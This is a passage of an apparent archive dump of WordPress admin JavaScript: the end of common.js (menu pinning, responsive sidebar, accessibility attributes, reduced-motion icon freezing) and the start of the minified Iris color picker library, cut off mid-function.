@return {void} */ $('.search-box input[type="search"], .search-box input[type="submit"]').on( 'mousedown', function () { $('select[name^="action"]').val('-1'); }); /** * Scrolls into view when focus.scroll-into-view is triggered. * * @param {Event} e The event object. * * @return {void} */ $('#contextual-help-link, #show-settings-link').on( 'focus.scroll-into-view', function(e){ if ( e.target.scrollIntoViewIfNeeded ) e.target.scrollIntoViewIfNeeded(false); }); /** * Disables the submit upload buttons when no data is entered. * * @return {void} */ (function(){ var button, input, form = $('form.wp-upload-form'); // Exit when no upload form is found. if ( ! form.length ) return; button = form.find('input[type="submit"]'); input = form.find('input[type="file"]'); /** * Determines if any data is entered in any file upload input. * * @since 3.5.0 * * @return {void} */ function toggleUploadButton() { // When no inputs have a value, disable the upload buttons. button.prop('disabled', '' === input.map( function() { return $(this).val(); }).get().join('')); } // Update the status initially. toggleUploadButton(); // Update the status when any file input changes. input.on('change', toggleUploadButton); })(); /** * Pins the menu while distraction-free writing is enabled. * * @param {Event} event Event data. * * @since 4.1.0 * * @return {void} */ function pinMenu( event ) { var windowPos = $window.scrollTop(), resizing = ! event || event.type !== 'scroll'; if ( isIOS || $adminmenu.data( 'wp-responsive' ) ) { return; } /* * When the menu is higher than the window and smaller than the entire page. * It should be adjusted to be able to see the entire menu. * * Otherwise it can be accessed normally. */ if ( height.menu + height.adminbar < height.window || height.menu + height.adminbar + 20 > height.wpwrap ) { unpinMenu(); return; } menuIsPinned = true; // If the menu is higher than the window, compensate on scroll. if ( height.menu + height.adminbar > height.window ) { // Check for overscrolling, this happens when swiping up at the top of the document in modern browsers. if ( windowPos < 0 ) { // Stick the menu to the top. if ( ! pinnedMenuTop ) { pinnedMenuTop = true; pinnedMenuBottom = false; $adminMenuWrap.css({ position: 'fixed', top: '', bottom: '' }); } return; } else if ( windowPos + height.window > $document.height() - 1 ) { // When overscrolling at the bottom, stick the menu to the bottom. if ( ! pinnedMenuBottom ) { pinnedMenuBottom = true; pinnedMenuTop = false; $adminMenuWrap.css({ position: 'fixed', top: '', bottom: 0 }); } return; } if ( windowPos > lastScrollPosition ) { // When a down scroll has been detected. // If it was pinned to the top, unpin and calculate relative scroll. if ( pinnedMenuTop ) { pinnedMenuTop = false; // Calculate new offset position. menuTop = $adminMenuWrap.offset().top - height.adminbar - ( windowPos - lastScrollPosition ); if ( menuTop + height.menu + height.adminbar < windowPos + height.window ) { menuTop = windowPos + height.window - height.menu - height.adminbar; } $adminMenuWrap.css({ position: 'absolute', top: menuTop, bottom: '' }); } else if ( ! pinnedMenuBottom && $adminMenuWrap.offset().top + height.menu < windowPos + height.window ) { // Pin it to the bottom. pinnedMenuBottom = true; $adminMenuWrap.css({ position: 'fixed', top: '', bottom: 0 }); } } else if ( windowPos < lastScrollPosition ) { // When a scroll up is detected. // If it was pinned to the bottom, unpin and calculate relative scroll. if ( pinnedMenuBottom ) { pinnedMenuBottom = false; // Calculate new offset position. menuTop = $adminMenuWrap.offset().top - height.adminbar + ( lastScrollPosition - windowPos ); if ( menuTop + height.menu > windowPos + height.window ) { menuTop = windowPos; } $adminMenuWrap.css({ position: 'absolute', top: menuTop, bottom: '' }); } else if ( ! pinnedMenuTop && $adminMenuWrap.offset().top >= windowPos + height.adminbar ) { // Pin it to the top. pinnedMenuTop = true; $adminMenuWrap.css({ position: 'fixed', top: '', bottom: '' }); } } else if ( resizing ) { // Window is being resized. pinnedMenuTop = pinnedMenuBottom = false; // Calculate the new offset. menuTop = windowPos + height.window - height.menu - height.adminbar - 1; if ( menuTop > 0 ) { $adminMenuWrap.css({ position: 'absolute', top: menuTop, bottom: '' }); } else { unpinMenu(); } } } lastScrollPosition = windowPos; } /** * Determines the height of certain elements. * * @since 4.1.0 * * @return {void} */ function resetHeights() { height = { window: $window.height(), wpwrap: $wpwrap.height(), adminbar: $adminbar.height(), menu: $adminMenuWrap.height() }; } /** * Unpins the menu. * * @since 4.1.0 * * @return {void} */ function unpinMenu() { if ( isIOS || ! menuIsPinned ) { return; } pinnedMenuTop = pinnedMenuBottom = menuIsPinned = false; $adminMenuWrap.css({ position: '', top: '', bottom: '' }); } /** * Pins and unpins the menu when applicable. * * @since 4.1.0 * * @return {void} */ function setPinMenu() { resetHeights(); if ( $adminmenu.data('wp-responsive') ) { $body.removeClass( 'sticky-menu' ); unpinMenu(); } else if ( height.menu + height.adminbar > height.window ) { pinMenu(); $body.removeClass( 'sticky-menu' ); } else { $body.addClass( 'sticky-menu' ); unpinMenu(); } } if ( ! isIOS ) { $window.on( 'scroll.pin-menu', pinMenu ); $document.on( 'tinymce-editor-init.pin-menu', function( event, editor ) { editor.on( 'wp-autoresize', resetHeights ); }); } /** * Changes the sortables and responsiveness of metaboxes. * * @since 3.8.0 * * @return {void} */ window.wpResponsive = { /** * Initializes the wpResponsive object. * * @since 3.8.0 * * @return {void} */ init: function() { var self = this; this.maybeDisableSortables = this.maybeDisableSortables.bind( this ); // Modify functionality based on custom activate/deactivate event. $document.on( 'wp-responsive-activate.wp-responsive', function() { self.activate(); self.toggleAriaHasPopup( 'add' ); }).on( 'wp-responsive-deactivate.wp-responsive', function() { self.deactivate(); self.toggleAriaHasPopup( 'remove' ); }); $( '#wp-admin-bar-menu-toggle a' ).attr( 'aria-expanded', 'false' ); // Toggle sidebar when toggle is clicked. $( '#wp-admin-bar-menu-toggle' ).on( 'click.wp-responsive', function( event ) { event.preventDefault(); // Close any open toolbar submenus. $adminbar.find( '.hover' ).removeClass( 'hover' ); $wpwrap.toggleClass( 'wp-responsive-open' ); if ( $wpwrap.hasClass( 'wp-responsive-open' ) ) { $(this).find('a').attr( 'aria-expanded', 'true' ); $( '#adminmenu a:first' ).trigger( 'focus' ); } else { $(this).find('a').attr( 'aria-expanded', 'false' ); } } ); // Close sidebar when target moves outside of toggle and sidebar. $( document ).on( 'click', function( event ) { if ( ! $wpwrap.hasClass( 'wp-responsive-open' ) || ! document.hasFocus() ) { return; } var focusIsInToggle = $.contains( $( '#wp-admin-bar-menu-toggle' )[0], event.target ); var focusIsInSidebar = $.contains( $( '#adminmenuwrap' )[0], event.target ); if ( ! focusIsInToggle && ! focusIsInSidebar ) { $( '#wp-admin-bar-menu-toggle' ).trigger( 'click.wp-responsive' ); } } ); // Close sidebar when a keypress completes outside of toggle and sidebar. $( document ).on( 'keyup', function( event ) { var toggleButton = $( '#wp-admin-bar-menu-toggle' )[0]; if ( ! $wpwrap.hasClass( 'wp-responsive-open' ) ) { return; } if ( 27 === event.keyCode ) { $( toggleButton ).trigger( 'click.wp-responsive' ); $( toggleButton ).find( 'a' ).trigger( 'focus' ); } else { if ( 9 === event.keyCode ) { var sidebar = $( '#adminmenuwrap' )[0]; var focusedElement = event.relatedTarget || document.activeElement; // A brief delay is required to allow focus to switch to another element. setTimeout( function() { var focusIsInToggle = $.contains( toggleButton, focusedElement ); var focusIsInSidebar = $.contains( sidebar, focusedElement ); if ( ! focusIsInToggle && ! focusIsInSidebar ) { $( toggleButton ).trigger( 'click.wp-responsive' ); } }, 10 ); } } }); // Add menu events. $adminmenu.on( 'click.wp-responsive', 'li.wp-has-submenu > a', function( event ) { if ( ! $adminmenu.data('wp-responsive') ) { return; } let state = ( 'false' === $( this ).attr( 'aria-expanded' ) ) ? 'true' : 'false'; $( this ).parent( 'li' ).toggleClass( 'selected' ); $( this ).attr( 'aria-expanded', state ); $( this ).trigger( 'focus' ); event.preventDefault(); }); self.trigger(); $document.on( 'wp-window-resized.wp-responsive', this.trigger.bind( this ) ); // This needs to run later as UI Sortable may be initialized when the document is ready. $window.on( 'load.wp-responsive', this.maybeDisableSortables ); $document.on( 'postbox-toggled', this.maybeDisableSortables ); // When the screen columns are changed, potentially disable sortables. $( '#screen-options-wrap input' ).on( 'click', this.maybeDisableSortables ); }, /** * Disable sortables if there is only one metabox, or the screen is in one column mode. Otherwise, enable sortables. * * @since 5.3.0 * * @return {void} */ maybeDisableSortables: function() { var width = navigator.userAgent.indexOf('AppleWebKit/') > -1 ? $window.width() : window.innerWidth; if ( ( width <= 782 ) || ( 1 >= $sortables.find( '.ui-sortable-handle:visible' ).length && jQuery( '.columns-prefs-1 input' ).prop( 'checked' ) ) ) { this.disableSortables(); } else { this.enableSortables(); } }, /** * Changes properties of body and admin menu. * * Pins and unpins the menu and adds the auto-fold class to the body. * Makes the admin menu responsive and disables the metabox sortables. * * @since 3.8.0 * * @return {void} */ activate: function() { setPinMenu(); if ( ! $body.hasClass( 'auto-fold' ) ) { $body.addClass( 'auto-fold' ); } $adminmenu.data( 'wp-responsive', 1 ); this.disableSortables(); }, /** * Changes properties of admin menu and enables metabox sortables. * * Pin and unpin the menu. * Removes the responsiveness of the admin menu and enables the metabox sortables. * * @since 3.8.0 * * @return {void} */ deactivate: function() { setPinMenu(); $adminmenu.removeData('wp-responsive'); this.maybeDisableSortables(); }, /** * Toggles the aria-haspopup attribute for the responsive admin menu. * * The aria-haspopup attribute is only necessary for the responsive menu. * See ticket https://core.trac.wordpress.org/ticket/43095 * * @since 6.6.0 * * @param {string} action Whether to add or remove the aria-haspopup attribute. * * @return {void} */ toggleAriaHasPopup: function( action ) { var elements = $adminmenu.find( '[data-ariahaspopup]' ); if ( action === 'add' ) { elements.each( function() { $( this ).attr( 'aria-haspopup', 'menu' ).attr( 'aria-expanded', 'false' ); } ); return; } elements.each( function() { $( this ).removeAttr( 'aria-haspopup' ).removeAttr( 'aria-expanded' ); } ); }, /** * Sets the responsiveness and enables the overlay based on the viewport width. * * @since 3.8.0 * * @return {void} */ trigger: function() { var viewportWidth = getViewportWidth(); // Exclude IE < 9, it doesn't support @media CSS rules. if ( ! viewportWidth ) { return; } if ( viewportWidth <= 782 ) { if ( ! wpResponsiveActive ) { $document.trigger( 'wp-responsive-activate' ); wpResponsiveActive = true; } } else { if ( wpResponsiveActive ) { $document.trigger( 'wp-responsive-deactivate' ); wpResponsiveActive = false; } } if ( viewportWidth <= 480 ) { this.enableOverlay(); } else { this.disableOverlay(); } this.maybeDisableSortables(); }, /** * Inserts a responsive overlay and toggles the window. * * @since 3.8.0 * * @return {void} */ enableOverlay: function() { if ( $overlay.length === 0 ) { $overlay = $( '<div id="wp-responsive-overlay"></div>' ) .insertAfter( '#wpcontent' ) .hide() .on( 'click.wp-responsive', function() { $toolbar.find( '.menupop.hover' ).removeClass( 'hover' ); $( this ).hide(); }); } $toolbarPopups.on( 'click.wp-responsive', function() { $overlay.show(); }); }, /** * Disables the responsive overlay and removes the overlay. * * @since 3.8.0 * * @return {void} */ disableOverlay: function() { $toolbarPopups.off( 'click.wp-responsive' ); $overlay.hide(); }, /** * Disables sortables. * * @since 3.8.0 * * @return {void} */ disableSortables: function() { if ( $sortables.length ) { try { $sortables.sortable( 'disable' ); $sortables.find( '.ui-sortable-handle' ).addClass( 'is-non-sortable' ); } catch ( e ) {} } }, /** * Enables sortables. * * @since 3.8.0 * * @return {void} */ enableSortables: function() { if ( $sortables.length ) { try { $sortables.sortable( 'enable' ); $sortables.find( '.ui-sortable-handle' ).removeClass( 'is-non-sortable' ); } catch ( e ) {} } } }; /** * Add an ARIA role `button` to elements that behave like UI controls when JavaScript is on. * * @since 4.5.0 * * @return {void} */ function aria_button_if_js() { $( '.aria-button-if-js' ).attr( 'role', 'button' ); } $( document ).on( 'ajaxComplete', function() { aria_button_if_js(); }); /** * Get the viewport width. * * @since 4.7.0 * * @return {number|boolean} The current viewport width or false if the * browser doesn't support innerWidth (IE < 9). */ function getViewportWidth() { var viewportWidth = false; if ( window.innerWidth ) { // On phones, window.innerWidth is affected by zooming. viewportWidth = Math.max( window.innerWidth, document.documentElement.clientWidth ); } return viewportWidth; } /** * Sets the admin menu collapsed/expanded state. * * Sets the global variable `menuState` and triggers a custom event passing * the current menu state. * * @since 4.7.0 * * @return {void} */ function setMenuState() { var viewportWidth = getViewportWidth() || 961; if ( viewportWidth <= 782 ) { menuState = 'responsive'; } else if ( $body.hasClass( 'folded' ) || ( $body.hasClass( 'auto-fold' ) && viewportWidth <= 960 && viewportWidth > 782 ) ) { menuState = 'folded'; } else { menuState = 'open'; } $document.trigger( 'wp-menu-state-set', { state: menuState } ); } // Set the menu state when the window gets resized. $document.on( 'wp-window-resized.set-menu-state', setMenuState ); /** * Sets ARIA attributes on the collapse/expand menu button. * * When the admin menu is open or folded, updates the `aria-expanded` and * `aria-label` attributes of the button to give feedback to assistive * technologies. In the responsive view, the button is always hidden. * * @since 4.7.0 * * @return {void} */ $document.on( 'wp-menu-state-set wp-collapse-menu', function( event, eventData ) { var $collapseButton = $( '#collapse-button' ), ariaExpanded, ariaLabelText; if ( 'folded' === eventData.state ) { ariaExpanded = 'false'; ariaLabelText = __( 'Expand Main menu' ); } else { ariaExpanded = 'true'; ariaLabelText = __( 'Collapse Main menu' ); } $collapseButton.attr({ 'aria-expanded': ariaExpanded, 'aria-label': ariaLabelText }); }); window.wpResponsive.init(); setPinMenu(); setMenuState(); makeNoticesDismissible(); aria_button_if_js(); $document.on( 'wp-pin-menu wp-window-resized.pin-menu postboxes-columnchange.pin-menu postbox-toggled.pin-menu wp-collapse-menu.pin-menu wp-scroll-start.pin-menu', setPinMenu ); // Set initial focus on a specific element. $( '.wp-initial-focus' ).trigger( 'focus' ); // Toggle update details on update-core.php. $body.on( 'click', '.js-update-details-toggle', function() { var $updateNotice = $( this ).closest( '.js-update-details' ), $progressDiv = $( '#' + $updateNotice.data( 'update-details' ) ); /* * When clicking on "Show details" move the progress div below the update * notice. Make sure it gets moved just the first time. */ if ( ! $progressDiv.hasClass( 'update-details-moved' ) ) { $progressDiv.insertAfter( $updateNotice ).addClass( 'update-details-moved' ); } // Toggle the progress div visibility. $progressDiv.toggle(); // Toggle the Show Details button expanded state. $( this ).attr( 'aria-expanded', $progressDiv.is( ':visible' ) ); }); }); /** * Hides the update button for expired plugin or theme uploads. * * On the "Update plugin/theme from uploaded zip" screen, once the upload has expired, * hides the "Replace current with uploaded" button and displays a warning. * * @since 5.5.0 */ $( function( $ ) { var $overwrite, $warning; if ( ! $body.hasClass( 'update-php' ) ) { return; } $overwrite = $( 'a.update-from-upload-overwrite' ); $warning = $( '.update-from-upload-expired' ); if ( ! $overwrite.length || ! $warning.length ) { return; } window.setTimeout( function() { $overwrite.hide(); $warning.removeClass( 'hidden' ); if ( window.wp && window.wp.a11y ) { window.wp.a11y.speak( $warning.text() ); } }, 7140000 // 119 minutes. The uploaded file is deleted after 2 hours. ); } ); // Fire a custom jQuery event at the end of window resize. ( function() { var timeout; /** * Triggers the WP window-resize event. * * @since 3.8.0 * * @return {void} */ function triggerEvent() { $document.trigger( 'wp-window-resized' ); } /** * Fires the trigger event again after 200 ms. * * @since 3.8.0 * * @return {void} */ function fireOnce() { window.clearTimeout( timeout ); timeout = window.setTimeout( triggerEvent, 200 ); } $window.on( 'resize.wp-fire-once', fireOnce ); }()); // Make Windows 8 devices play along nicely. (function(){ if ( '-ms-user-select' in document.documentElement.style && navigator.userAgent.match(/IEMobile\/10\.0/) ) { var msViewportStyle = document.createElement( 'style' ); msViewportStyle.appendChild( document.createTextNode( '@-ms-viewport{width:auto!important}' ) ); document.getElementsByTagName( 'head' )[0].appendChild( msViewportStyle ); } })(); }( jQuery, window )); /** * Freeze animated plugin icons when reduced motion is enabled. * * When the user has enabled the 'prefers-reduced-motion' setting, this module * stops animations for all GIFs on the page with the class 'plugin-icon' or * plugin icon images in the update plugins table. * * @since 6.4.0 */ (function() { // Private variables and methods. var priv = {}, pub = {}, mediaQuery; // Initialize pauseAll to false; it will be set to true if reduced motion is preferred. priv.pauseAll = false; if ( window.matchMedia ) { mediaQuery = window.matchMedia( '(prefers-reduced-motion: reduce)' ); if ( ! mediaQuery || mediaQuery.matches ) { priv.pauseAll = true; } } // Method to replace animated GIFs with a static frame. priv.freezeAnimatedPluginIcons = function( img ) { var coverImage = function() { var width = img.width; var height = img.height; var canvas = document.createElement( 'canvas' ); // Set canvas dimensions. canvas.width = width; canvas.height = height; // Copy classes from the image to the canvas. canvas.className = img.className; // Check if the image is inside a specific table. var isInsideUpdateTable = img.closest( '#update-plugins-table' ); if ( isInsideUpdateTable ) { // Transfer computed styles from image to canvas. var computedStyles = window.getComputedStyle( img ), i, max; for ( i = 0, max = computedStyles.length; i < max; i++ ) { var propName = computedStyles[ i ]; var propValue = computedStyles.getPropertyValue( propName ); canvas.style[ propName ] = propValue; } } // Draw the image onto the canvas. canvas.getContext( '2d' ).drawImage( img, 0, 0, width, height ); // Set accessibility attributes on canvas. canvas.setAttribute( 'aria-hidden', 'true' ); canvas.setAttribute( 'role', 'presentation' ); // Insert canvas before the image and set the image to be near-invisible. var parent = img.parentNode; parent.insertBefore( canvas, img ); img.style.opacity = 0.01; img.style.width = '0px'; img.style.height = '0px'; }; // If the image is already loaded, apply the coverImage function. if ( img.complete ) { coverImage(); } else { // Otherwise, wait for the image to load. img.addEventListener( 'load', coverImage, true ); } }; // Public method to freeze all relevant GIFs on the page. pub.freezeAll = function() { var images = document.querySelectorAll( '.plugin-icon, #update-plugins-table img' ); for ( var x = 0; x < images.length; x++ ) { if ( /\.gif(?:\?|$)/i.test( images[ x ].src ) ) { priv.freezeAnimatedPluginIcons( images[ x ] ); } } }; // Only run the freezeAll method if the user prefers reduced motion. if ( true === priv.pauseAll ) { pub.freezeAll(); } // Listen for jQuery AJAX events. ( function( $ ) { if ( window.pagenow === 'plugin-install' ) { // Only listen for ajaxComplete if this is the plugin-install.php page. $( document ).ajaxComplete( function( event, xhr, settings ) { // Check if this is the 'search-install-plugins' request. if ( settings.data && typeof settings.data === 'string' && settings.data.includes( 'action=search-install-plugins' ) ) { // Recheck if the user prefers reduced motion. if ( window.matchMedia ) { var mediaQuery = window.matchMedia( '(prefers-reduced-motion: reduce)' ); if ( mediaQuery.matches ) { pub.freezeAll(); } } else { // Fallback for browsers that don't support matchMedia. if ( true === priv.pauseAll ) { pub.freezeAll(); } } } } ); } } )( jQuery ); // Expose public methods. return pub; })(); js/iris.min.js 0000644 00000056133 15233246127 0007263 0 ustar 00 /*! This file is auto-generated */ /*! Iris Color Picker - v1.1.1 - 2021-10-05 * https://github.com/Automattic/Iris * Copyright (c) 2021 Matt Wiebe; Licensed GPLv2 */ !function(a,b){function c(){var b,c,d="backgroundImage";j?k="filter":(b=a('<div id="iris-gradtest" />'),c="linear-gradient(top,#fff,#000)",a.each(l,function(a,e){if(b.css(d,e+c),b.css(d).match("gradient"))return k=a,!1}),!1===k&&(b.css("background","-webkit-gradient(linear,0% 0%,0% 100%,from(#fff),to(#000))"),b.css(d).match("gradient")&&(k="webkit")),b.remove())}function d(a,b){return a="top"===a?"top":"left",b=Array.isArray(b)?b:Array.prototype.slice.call(arguments,1),"webkit"===k?f(a,b):l[k]+"linear-gradient("+a+", "+b.join(", ")+")"}function e(b,c){var d,e,f,h,i,j,k,l,m;b="top"===b?"top":"left",c=Array.isArray(c)?c:Array.prototype.slice.call(arguments,1),d="top"===b?0:1,e=a(this),f=c.length-1,h="filter",i=1===d?"left":"top",j=1===d?"right":"bottom",k=1===d?"height":"width",l='<div class="iris-ie-gradient-shim" style="position:absolute;'+k+":100%;"+i+":%start%;"+j+":%end%;"+h+':%filter%;" data-color:"%color%"></div>',m="","static"===e.css("position")&&e.css({position:"relative"}),c=g(c),a.each(c,function(a,b){var e,g,h;if(a===f)return!1;e=c[a+1],b.stop!==e.stop&&(g=100-parseFloat(e.stop)+"%",b.octoHex=new Color(b.color).toIEOctoHex(),e.octoHex=new Color(e.color).toIEOctoHex(),h="progid:DXImageTransform.Microsoft.Gradient(GradientType="+d+", StartColorStr='"+b.octoHex+"', EndColorStr='"+e.octoHex+"')",m+=l.replace("%start%",b.stop).replace("%end%",g).replace("%filter%",h))}),e.find(".iris-ie-gradient-shim").remove(),a(m).prependTo(e)}function f(b,c){var d=[];return b="top"===b?"0% 0%,0% 100%,":"0% 100%,100% 100%,",c=g(c),a.each(c,function(a,b){d.push("color-stop("+parseFloat(b.stop)/100+", "+b.color+")")}),"-webkit-gradient(linear,"+b+d.join(",")+")"}function g(b){var c=[],d=[],e=[],f=b.length-1;return a.each(b,function(a,b){var e=b,f=!1,g=b.match(/1?[0-9]{1,2}%$/);g&&(e=b.replace(/\s?1?[0-9]{1,2}%$/,""),f=g.shift()),c.push(e),d.push(f)}),!1===d[0]&&(d[0]="0%"),!1===d[f]&&(d[f]="100%"),d=h(d),a.each(d,function(a){e[a]={color:c[a],stop:d[a]}}),e}function h(b){var c,d,e,f,g=0,i=b.length-1,j=0,k=!1;if(b.length<=2||a.inArray(!1,b)<0)return b;for(;j<b.length-1;)k||!1!==b[j]?k&&!1!==b[j]&&(i=j,j=b.length):(g=j-1,k=!0),j++;for(d=i-g,f=parseInt(b[g].replace("%"),10),c=(parseFloat(b[i].replace("%"))-f)/d,j=g+1,e=1;j<i;)b[j]=f+e*c+"%",e++,j++;return h(b)}var i,j,k,l,m,n,o,p,q;if(i='<div class="iris-picker"><div class="iris-picker-inner"><div class="iris-square"><a class="iris-square-value" href="#"><span class="iris-square-handle ui-slider-handle"></span></a><div class="iris-square-inner iris-square-horiz"></div><div class="iris-square-inner iris-square-vert"></div></div><div class="iris-slider iris-strip"><div class="iris-slider-offset"></div></div></div></div>',m='.iris-picker{display:block;position:relative}.iris-picker,.iris-picker *{-moz-box-sizing:content-box;-webkit-box-sizing:content-box;box-sizing:content-box}input+.iris-picker{margin-top:4px}.iris-error{background-color:#ffafaf}.iris-border{border-radius:3px;border:1px solid #aaa;width:200px;background-color:#fff}.iris-picker-inner{position:absolute;top:0;right:0;left:0;bottom:0}.iris-border .iris-picker-inner{top:10px;right:10px;left:10px;bottom:10px}.iris-picker .iris-square-inner{position:absolute;left:0;right:0;top:0;bottom:0}.iris-picker .iris-square,.iris-picker .iris-slider,.iris-picker .iris-square-inner,.iris-picker .iris-palette{border-radius:3px;box-shadow:inset 0 0 5px rgba(0,0,0,.4);height:100%;width:12.5%;float:left;margin-right:5%}.iris-only-strip .iris-slider{width:100%}.iris-picker .iris-square{width:76%;margin-right:10%;position:relative}.iris-only-strip .iris-square{display:none}.iris-picker .iris-square-inner{width:auto;margin:0}.iris-ie-9 .iris-square,.iris-ie-9 .iris-slider,.iris-ie-9 .iris-square-inner,.iris-ie-9 .iris-palette{box-shadow:none;border-radius:0}.iris-ie-9 .iris-square,.iris-ie-9 .iris-slider,.iris-ie-9 .iris-palette{outline:1px solid rgba(0,0,0,.1)}.iris-ie-lt9 .iris-square,.iris-ie-lt9 .iris-slider,.iris-ie-lt9 .iris-square-inner,.iris-ie-lt9 .iris-palette{outline:1px solid #aaa}.iris-ie-lt9 .iris-square .ui-slider-handle{outline:1px solid #aaa;background-color:#fff;-ms-filter:"alpha(Opacity=30)"}.iris-ie-lt9 .iris-square .iris-square-handle{background:0 0;border:3px solid #fff;-ms-filter:"alpha(Opacity=50)"}.iris-picker .iris-strip{margin-right:0;position:relative}.iris-picker .iris-strip .ui-slider-handle{position:absolute;background:0 0;margin:0;right:-3px;left:-3px;border:4px solid #aaa;border-width:4px 3px;width:auto;height:6px;border-radius:4px;box-shadow:0 1px 2px rgba(0,0,0,.2);opacity:.9;z-index:5;cursor:ns-resize}.iris-strip-horiz .iris-strip .ui-slider-handle{right:auto;left:auto;bottom:-3px;top:-3px;height:auto;width:6px;cursor:ew-resize}.iris-strip .ui-slider-handle:before{content:" ";position:absolute;left:-2px;right:-2px;top:-3px;bottom:-3px;border:2px solid #fff;border-radius:3px}.iris-picker .iris-slider-offset{position:absolute;top:11px;left:0;right:0;bottom:-3px;width:auto;height:auto;background:transparent;border:0;border-radius:0}.iris-strip-horiz .iris-slider-offset{top:0;bottom:0;right:11px;left:-3px}.iris-picker .iris-square-handle{background:transparent;border:5px solid #aaa;border-radius:50%;border-color:rgba(128,128,128,.5);box-shadow:none;width:12px;height:12px;position:absolute;left:-10px;top:-10px;cursor:move;opacity:1;z-index:10}.iris-picker .ui-state-focus .iris-square-handle{opacity:.8}.iris-picker .iris-square-handle:hover{border-color:#999}.iris-picker .iris-square-value:focus .iris-square-handle{box-shadow:0 0 2px rgba(0,0,0,.75);opacity:.8}.iris-picker .iris-square-handle:hover::after{border-color:#fff}.iris-picker .iris-square-handle::after{position:absolute;bottom:-4px;right:-4px;left:-4px;top:-4px;border:3px solid #f9f9f9;border-color:rgba(255,255,255,.8);border-radius:50%;content:" "}.iris-picker .iris-square-value{width:8px;height:8px;position:absolute}.iris-ie-lt9 .iris-square-value,.iris-mozilla .iris-square-value{width:1px;height:1px}.iris-palette-container{position:absolute;bottom:0;left:0;margin:0;padding:0}.iris-border .iris-palette-container{left:10px;bottom:10px}.iris-picker .iris-palette{margin:0;cursor:pointer}.iris-square-handle,.ui-slider-handle{border:0;outline:0}',o=navigator.userAgent.toLowerCase(),p="Microsoft Internet Explorer"===navigator.appName,q=p?parseFloat(o.match(/msie ([0-9]{1,}[\.0-9]{0,})/)[1]):0,j=p&&q<10,k=!1,l=["-moz-","-webkit-","-o-","-ms-"],j&&q<=7)return a.fn.iris=a.noop,void(a.support.iris=!1);a.support.iris=!0,a.fn.gradient=function(){var b=arguments;return this.each(function(){j?e.apply(this,b):a(this).css("backgroundImage",d.apply(this,b))})},a.fn.rainbowGradient=function(b,c){var d,e,f,g;for(b=b||"top",d=a.extend({},{s:100,l:50},c),e="hsl(%h%,"+d.s+"%,"+d.l+"%)",f=0,g=[];f<=360;)g.push(e.replace("%h%",f)),f+=30;return this.each(function(){a(this).gradient(b,g)})},n={options:{color:!1,mode:"hsl",controls:{horiz:"s",vert:"l",strip:"h"},hide:!0,border:!0,target:!1,width:200,palettes:!1,type:"full",slider:"horizontal"},_color:"",_palettes:["#000","#fff","#d33","#d93","#ee2","#81d742","#1e73be","#8224e3"],_inited:!1,_defaultHSLControls:{horiz:"s",vert:"l",strip:"h"},_defaultHSVControls:{horiz:"h",vert:"v",strip:"s"},_scale:{h:360,s:100,l:100,v:100},_create:function(){var b=this,d=b.element,e=b.options.color||d.val();!1===k&&c(),d.is("input")?(b.options.target?b.picker=a(i).appendTo(b.options.target):b.picker=a(i).insertAfter(d),b._addInputListeners(d)):(d.append(i),b.picker=d.find(".iris-picker")),p?9===q?b.picker.addClass("iris-ie-9"):q<=8&&b.picker.addClass("iris-ie-lt9"):o.indexOf("compatible")<0&&o.indexOf("khtml")<0&&o.match(/mozilla/)&&b.picker.addClass("iris-mozilla"),b.options.palettes&&b._addPalettes(),b.onlySlider="hue"===b.options.type,b.horizontalSlider=b.onlySlider&&"horizontal"===b.options.slider,b.onlySlider&&(b.options.controls.strip="h",e||(e="hsl(10,100,50)")),b._color=new Color(e).setHSpace(b.options.mode),b.options.color=b._color.toString(),b.controls={square:b.picker.find(".iris-square"),squareDrag:b.picker.find(".iris-square-value"),horiz:b.picker.find(".iris-square-horiz"),vert:b.picker.find(".iris-square-vert"),strip:b.picker.find(".iris-strip"),stripSlider:b.picker.find(".iris-strip .iris-slider-offset")},"hsv"===b.options.mode&&b._has("l",b.options.controls)?b.options.controls=b._defaultHSVControls:"hsl"===b.options.mode&&b._has("v",b.options.controls)&&(b.options.controls=b._defaultHSLControls),b.hue=b._color.h(),b.options.hide&&b.picker.hide(),b.options.border&&!b.onlySlider&&b.picker.addClass("iris-border"),b._initControls(),b.active="external",b._dimensions(),b._change()},_has:function(b,c){var d=!1;return a.each(c,function(a,c){if(b===c)return d=!0,!1}),d},_addPalettes:function(){var b=a('<div class="iris-palette-container" />'),c=a('<a class="iris-palette" tabindex="0" />'),d=Array.isArray(this.options.palettes)?this.options.palettes:this._palettes;this.picker.find(".iris-palette-container").length&&(b=this.picker.find(".iris-palette-container").detach().html("")),a.each(d,function(a,d){c.clone().data("color",d).css("backgroundColor",d).appendTo(b).height(10).width(10)}),this.picker.append(b)},_paint:function(){var a=this;a.horizontalSlider?a._paintDimension("left","strip"):a._paintDimension("top","strip"),a._paintDimension("top","vert"),a._paintDimension("left","horiz")},_paintDimension:function(a,b){var c,d=this,e=d._color,f=d.options.mode,g=d._getHSpaceColor(),h=d.controls[b],i=d.options.controls;if(b!==d.active&&("square"!==d.active||"strip"===b))switch(i[b]){case"h":if("hsv"===f){switch(g=e.clone(),b){case"horiz":g[i.vert](100);break;case"vert":g[i.horiz](100);break;case"strip":g.setHSpace("hsl")}c=g.toHsl()}else c="strip"===b?{s:g.s,l:g.l}:{s:100,l:g.l};h.rainbowGradient(a,c);break;case"s":"hsv"===f?"vert"===b?c=[e.clone().a(0).s(0).toCSS("rgba"),e.clone().a(1).s(0).toCSS("rgba")]:"strip"===b?c=[e.clone().s(100).toCSS("hsl"),e.clone().s(0).toCSS("hsl")]:"horiz"===b&&(c=["#fff","hsl("+g.h+",100%,50%)"]):c="vert"===b&&"h"===d.options.controls.horiz?["hsla(0, 0%, "+g.l+"%, 0)","hsla(0, 0%, "+g.l+"%, 1)"]:["hsl("+g.h+",0%,50%)","hsl("+g.h+",100%,50%)"],h.gradient(a,c);break;case"l":c="strip"===b?["hsl("+g.h+",100%,100%)","hsl("+g.h+", "+g.s+"%,50%)","hsl("+g.h+",100%,0%)"]:["#fff","rgba(255,255,255,0) 50%","rgba(0,0,0,0) 50%","rgba(0,0,0,1)"],h.gradient(a,c);break;case"v":c="strip"===b?[e.clone().v(100).toCSS(),e.clone().v(0).toCSS()]:["rgba(0,0,0,0)","#000"],h.gradient(a,c)}},_getHSpaceColor:function(){return"hsv"===this.options.mode?this._color.toHsv():this._color.toHsl()},_stripOnlyDimensions:function(){var a=this,b=this.options.width,c=.12*b;a.horizontalSlider?a.picker.css({width:b,height:c}).addClass("iris-only-strip iris-strip-horiz"):a.picker.css({width:c,height:b}).addClass("iris-only-strip iris-strip-vert")},_dimensions:function(b){if("hue"===this.options.type)return 